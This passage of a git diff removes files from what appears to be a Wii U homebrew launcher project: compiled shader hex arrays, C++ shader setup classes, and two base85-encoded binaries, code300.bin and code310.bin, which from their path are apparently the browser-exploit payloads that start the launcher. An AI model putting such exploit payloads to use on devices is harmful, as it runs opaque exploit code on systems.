0x00a01f00,0x80000020,0x00ac1f00,0x80000040, - 0x00a81f00,0x80000060,0x00a19f80,0x06000600, - 0xcac3123c,0x6f1203bc,0x03a41f00,0xfe00620f, - 0x03a01f00,0xfe04622f,0x03ac1f00,0xfe08624f, - 0x03a81f00,0xfe0c626f,0x00a59f80,0x06040620, - 0xcc28913b,0x6f1203bc,0x01a41f00,0xfe00620f, - 0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f, - 0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600, - 0xe8eab03c,0x6f1283bb,0x02ac1f00,0xfe084200, - 0x02a81f00,0xfe0c4220,0x02a41f00,0xfe004240, - 0x02a01f00,0xfe044260,0x00a59f80,0x06042620, - 0x92bb353d,0x6f1283bb,0x04a81f00,0x0204620f, - 0x04ac1f00,0x0200662f,0x04a41f00,0x0208624f, - 0x04a01f00,0x020c626f,0x00a19f80,0x06004600, - 0xc4139f3d,0x6f12833b,0x00a41f00,0xfe08620f, - 0x00a01f00,0xfe0c622f,0x00ac1f00,0xfe04624f, - 0x00a81f00,0xfe00626f,0x00a59f80,0x06044620, - 0xb950ed3d,0x6f12833b,0x01a41f00,0xfe00620f, - 0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f, - 0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600, - 0xecd7163e,0x6f12033c,0x03a41f00,0xfe000200, - 0x03a01f00,0xfe040220,0x03ac1f00,0xfe082240, - 0x03a81f00,0xfe0c2260,0x00a59f80,0x06042620, - 0x2168233e,0x6f12033c,0x00a11f00,0x06006200, - 0x00a51f00,0x06046220,0x00a19f00,0x06006240, - 0x00a59f00,0x06046260,0x00a11f81,0x0600e600, - 0xa69b443c,0x6f12833c,0x0ad7a33c,0x00000000, - 0x02ac1f00,0x0108620f,0x02a81f00,0x010c622f, - 0x02a41f00,0x0000624f,0x02a01f00,0x0004666f, - 0x00a59f80,0x0604e620,0xecd7163e,0x0ad7a33c, - 0x04a81f00,0xfe04620f,0x04ac1f00,0xfe00622f, - 0x04a41f00,0xfe08624f,0x04a01f00,0xfe0c626f, - 0x00a19f80,0x06008600,0xb950ed3d,0xa69bc43c, - 0x05a41f00,0xfe08620f,0x05a01f00,0xfe0c622f, - 0x05ac1f00,0xfe04624f,0x05a81f00,0xfe00626f, - 0x00a59f80,0x06048620,0xc4139f3d,0xa69bc43c, - 0x03a41f00,0xfe00a200,0x03a01f00,0xfe04a220, - 0x03ac1f00,0xfe086240,0x03a81f00,0xfe0c6260, - 0x00a19f80,0x06006600,0x92bb353d,0x4260e53c, - 0x00a51f80,0x06046220,0x4260e53c,0x00000000, - 0x07ac1f00,0x0308620f,0x07a81f00,0x030c622f, - 0x07a41f00,0x0500624f,0x07a01f80,0x0504626f, - 0xe8eab03c,0x00000000,0x04a81f00,0xfe04620f, - 0x04ac1f00,0xfe00622f,0x04a41f00,0xfe08624f, - 0x04a01f80,0xfe0c626f,0xcac3123c,0x00000000, - 0x06a41f00,0xfe08620f,0x06a01f00,0xfe0c622f, - 0x06ac1f00,0xfe04624f,0x06a81f80,0xfe00626f, - 0xcc28913b,0x00000000,0xfe20a000,0x9000e00f, - 0xfe242000,0x9000e02f,0xfe28a001,0x9000e04f, - 0xfe2c2081,0x9000e06f,0xfe28a081,0x80060020, - 0xfee48f00,0x7f842300,0xfee40f00,0x7f802320, - 0xfee48f01,0x7f8c2340,0xfee40f81,0x08842b60, - 0x00202000,0x90002000,0x0024a000,0x90002020, - 0x00282001,0x90002040,0x002ca081,0x90002060, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x10000000,0x03100df0,0x00008010,0xecdfea0d, - 0x10000000,0x00100df0,0x0000a051,0xecdfea0d, - 0x10000100,0x01100df0,0x00008010,0xecdfea0d, - 0x10000200,0x02100df0,0x00000011,0xecdfea0d, - 0x10000400,0x04100df0,0x0000b070,0xecdfea0d, - 0x10000000,0x00100df0,0x00008010,0xecdfea0d, - 0x10000100,0x01100df0,0x00008010,0xecdfea0d, - 0x10000600,0x03100df0,0x00008010,0xecdfea0d, - 0x10000200,0x02100df0,0x00008010,0xecdfea0d, - 0x10000100,0x04100df0,0x00008010,0xecdfea0d, - 0x10000300,0x05100df0,0x00008010,0xecdfea0d, - 0x10000300,0x03100df0,0x0000a051,0xecdfea0d, - 0x10000700,0x07100df0,0x00008010,0xecdfea0d, - 0x10000400,0x04100df0,0x00008010,0xecdfea0d, - 0x10000300,0x06100df0,0x00008010,0xecdfea0d, - 0x10000000,0x00100df0,0x00008010,0xecdfea0d, - 0xc8581837,0x22740275,0x281eddcc,0xfa8b9b65 -}; -static const u32 cPixelShaderRegs[] = { - 0x00000109,0x00000002,0x14000001,0x00000000, - 0x00000001,0x00000100,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x0000000f,0x00000001,0x00000010, - 0x00000000 -}; - -Texture2DShader * Texture2DShader::shaderInstance = NULL; - -Texture2DShader::Texture2DShader() - : vertexShader(cuAttributeCount) -{ - //! create pixel shader - pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs)); - - blurLocation = 0; - colorIntensityLocation = 4; - pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_SHADER_VAR_TYPE_FLOAT3, 1, blurLocation, -1 }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); - - samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); - - //! create vertex shader - vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); - - angleLocation = 0; - offsetLocation = 4; - scaleLocation = 8; - vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_SHADER_VAR_TYPE_FLOAT, 1, angleLocation, -1 }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_SHADER_VAR_TYPE_FLOAT3, 1, offsetLocation, -1 }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_SHADER_VAR_TYPE_FLOAT3, 1, scaleLocation, -1 }); - - positionLocation = 0; - texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); - - //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); - - //! create fetch shader - fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); - - //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 - posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); - texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); - - //! defaults for normal square - //! position vertex structure and texture coordinate vertex structure - int i = 0; - posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); - - i = 0; - texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; - texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); -} - -Texture2DShader::~Texture2DShader() -{ - if(posVtxs) - { - free(posVtxs); - posVtxs = NULL; - } - if(texCoords) - { - free(texCoords); - texCoords = NULL; - } - - delete fetchShader; - fetchShader = NULL; -} diff --git a/src/video/shaders/Texture2DShader.h b/src/video/shaders/Texture2DShader.h deleted file mode 100644 index 3ce80de..0000000 --- a/src/video/shaders/Texture2DShader.h +++ /dev/null @@ -1,112 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __TEXTURE_2D_SHADER_H_ -#define __TEXTURE_2D_SHADER_H_ - -#include "VertexShader.h" -#include "PixelShader.h" -#include "FetchShader.h" - -class Texture2DShader : public Shader -{ -private: - Texture2DShader(); - virtual ~Texture2DShader(); - - static const u32 cuAttributeCount = 2; - static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; - static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; - - static Texture2DShader *shaderInstance; - - FetchShader *fetchShader; - VertexShader vertexShader; - PixelShader pixelShader; - - f32 *posVtxs; - f32 *texCoords; - - u32 angleLocation; - u32 offsetLocation; - u32 scaleLocation; - u32 colorIntensityLocation; - u32 blurLocation; - u32 samplerLocation; - u32 positionLocation; - u32 texCoordLocation; -public: - static Texture2DShader *instance() { - if(!shaderInstance) { - shaderInstance = new Texture2DShader(); - } - return shaderInstance; - } - static void destroyInstance() { - if(shaderInstance) { - delete shaderInstance; - shaderInstance = NULL; - } - } - - void setShaders(void) const - { - fetchShader->setShader(); - vertexShader.setShader(); - pixelShader.setShader(); - } - - void setAttributeBuffer(const f32 * texCoords_in = NULL, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const - { - if(posVtxs_in && texCoords_in && vtxCount) - { - VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); - VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); - } - else { - VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); - VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); - } - } - - void setAngle(const float & val) - { - VertexShader::setUniformReg(angleLocation, 4, &val); - } - void setOffset(const glm::vec3 & vec) - { - VertexShader::setUniformReg(offsetLocation, 4, &vec[0]); - } - void setScale(const glm::vec3 & vec) - { - VertexShader::setUniformReg(scaleLocation, 4, &vec[0]); - } - void setColorIntensity(const glm::vec4 & vec) - { - PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); - } - void setBlurring(const glm::vec3 & vec) - { - PixelShader::setUniformReg(blurLocation, 4, &vec[0]); - } - - void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); - GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); - } -}; - -#endif // __TEXTURE_2D_SHADER_H_ diff --git a/src/video/shaders/VertexShader.h b/src/video/shaders/VertexShader.h deleted file mode 100644 index bcd0f13..0000000 --- a/src/video/shaders/VertexShader.h +++ /dev/null @@ -1,178 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef VERTEX_SHADER_H -#define VERTEX_SHADER_H - -#include -#include "Shader.h" - -class VertexShader : public Shader -{ -public: - VertexShader(u32 numAttr) - : attributesCount( numAttr ) - , attributes( new GX2AttribStream[attributesCount] ) - , vertexShader( (GX2VertexShader*) memalign(0x40, sizeof(GX2VertexShader)) ) - { - if(vertexShader) - { - memset(vertexShader, 0, sizeof(GX2VertexShader)); - vertexShader->mode = GX2_SHADER_MODE_UNIFORM_REGISTER; - } - } - - virtual ~VertexShader() { - delete [] attributes; - - if(vertexShader) - { - if(vertexShader->program) - free(vertexShader->program); - - for(u32 i = 0; i < vertexShader->uniformBlockCount; i++) - free((void*)vertexShader->uniformBlocks[i].name); - - if(vertexShader->uniformBlocks) - free((void*)vertexShader->uniformBlocks); - - for(u32 i = 0; i < vertexShader->uniformVarCount; i++) - free((void*)vertexShader->uniformVars[i].name); - - if(vertexShader->uniformVars) - free((void*)vertexShader->uniformVars); - - if(vertexShader->initialValues) - free((void*)vertexShader->initialValues); - - for(u32 i = 0; i < vertexShader->samplerVarCount; i++) - free((void*)vertexShader->samplerVars[i].name); - - if(vertexShader->samplerVars) - free((void*)vertexShader->samplerVars); - - for(u32 i = 0; i < vertexShader->attribVarCount; i++) - free((void*)vertexShader->attribVars[i].name); - - if(vertexShader->attribVars) - free((void*)vertexShader->attribVars); - - if(vertexShader->loopVars) - free((void*)vertexShader->loopVars); - - free(vertexShader); - } - } - - void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize) - { - if(!vertexShader) - return; - - //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 - vertexShader->size = programSize; - vertexShader->program = (u8*) memalign(GX2_SHADER_ALIGNMENT, vertexShader->size); - if(vertexShader->program) - { - memcpy(vertexShader->program, program, vertexShader->size); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, vertexShader->program, vertexShader->size); - } - - memcpy(&vertexShader->regs, regs, regsSize); - } - - void addUniformVar(const GX2UniformVar & var) - { - if(!vertexShader) - return; - - u32 idx = vertexShader->uniformVarCount; - - GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniformVarCount + 1) * sizeof(GX2UniformVar)); - if(newVar) - { - if(vertexShader->uniformVarCount > 0) - { - memcpy(newVar, vertexShader->uniformVars, vertexShader->uniformVarCount * sizeof(GX2UniformVar)); - free(vertexShader->uniformVars); - } - vertexShader->uniformVars = newVar; - - memcpy(vertexShader->uniformVars + idx, &var, sizeof(GX2UniformVar)); - vertexShader->uniformVars[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)vertexShader->uniformVars[idx].name, var.name); - - vertexShader->uniformVarCount++; - } - } - - void addAttribVar(const GX2AttribVar & var) - { - if(!vertexShader) - return; - - u32 idx = vertexShader->attribVarCount; - - GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribVarCount + 1) * sizeof(GX2AttribVar)); - if(newVar) - { - if(vertexShader->attribVarCount > 0) - { - memcpy(newVar, vertexShader->attribVars, vertexShader->attribVarCount * sizeof(GX2AttribVar)); - free(vertexShader->attribVars); - } - vertexShader->attribVars = newVar; - - memcpy(vertexShader->attribVars + idx, &var, sizeof(GX2AttribVar)); - vertexShader->attribVars[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)vertexShader->attribVars[idx].name, var.name); - - vertexShader->attribVarCount++; - } - } - - static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32 stride, const void * buffer) { - GX2SetAttribBuffer(bufferIdx, bufferSize, stride, (void*)buffer); - } - - GX2VertexShader *getVertexShader() const { - return vertexShader; - } - - void setShader(void) const { - GX2SetVertexShader(vertexShader); - } - - GX2AttribStream * getAttributeBuffer(u32 idx = 0) const { - if(idx >= attributesCount) { - return NULL; - } - return &attributes[idx]; - } - u32 getAttributesCount() const { - return attributesCount; - } - - static void setUniformReg(u32 location, u32 size, const void * reg) { - GX2SetVertexUniformReg(location, size, (uint32_t*)reg); - } -protected: - u32 attributesCount; - GX2AttribStream *attributes; - GX2VertexShader *vertexShader; -}; - -#endif // VERTEX_SHADER_H diff --git a/www/homebrew_launcher/code300.bin b/www/homebrew_launcher/code300.bin deleted file mode 100644 index 1f9e3d2b3df0c25a1073e0f991b519785f1ea144..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13652 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 diff --git a/www/homebrew_launcher/code310.bin b/www/homebrew_launcher/code310.bin deleted file mode 100644 index 252fb14446bdbc7f1f90b99b51dfd54ef191eb40..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13652 zcmcIq4|r77l|L_u7)Y#BovtH9c`@UD38W;2Z2KY;G6R7Q1~g4lib`dMnSsnYBr%!j zr2E3WA+bx)?k0d+Y!N~=S^rQ!`>pPW3KA;q+O=+VZM(K=2#a4A3+-Y>#e%&3o%`OK zc@q-b`hA;^$Gi8ObI(2Z+;i?d=e+UAGoKC=zpD6YX0bxoQyo#xO&ZB+e$L2_V*T{? z!<4uE80D*%Yh&?v>^Q1f#~czp8p%_GT=Hjk(@ zZQlx#$~^)7bRa}IYNB_#*}BaD^5Q?R;gpa{;mnydDu$WvdBk*39OGUx5nl0+{a}%sH=(AjXuq2@#T_AV}nTAU)=e1dDNj`isk^GS{ zXYx0YEkM>9^3j$oJmW06Fn1~Dc4y6X*iJ-TOWLMa<#C9L zo^@u|VKS{l%*#AXojGi}x=07Yr)+wFK5@sKp$WRm_v{w1w7%@?w{(Ivf8AK~$8Sx6 zuQBllJsQp#)?;7EcK9gku;18&nI3Zw#@Ww!-E8Z)hl_X}*blehJzVlQuh;VT$>%%& zvN_+%De&Jn@t@~)TY56&xO%_kb1cIl_`A){%h}G^F2wn$!47Z^X4!kz8CvoK;HNkX zOGbgS@8i#SUF-wa8Eoz&-v_c1$hF(Km=kazyAp61=Sk4GU-&%fiNcnkUvUOr$fat+ z~kp%h^Y-4;+u^){9-5n|Wt-YFPQKmb z<~1abK!?NZi~60s4!~D0)F}`BH*3c~L$#Vi__B>|xk*>abj-`UTQ}@5z;?K`MG2L> zZRv{T_miP7tR236Rl=0-H0-s|JU^VgzKQl%Lpbl>f&EhzskH?Ojy+kw$z$gdJP!OE zyaw>Bw0PqFw$3CcpYs-9zEi9_&f=>s;&}CM((!8Y@Oy%%pZ@C29mN+KnCHP`QjBd{ 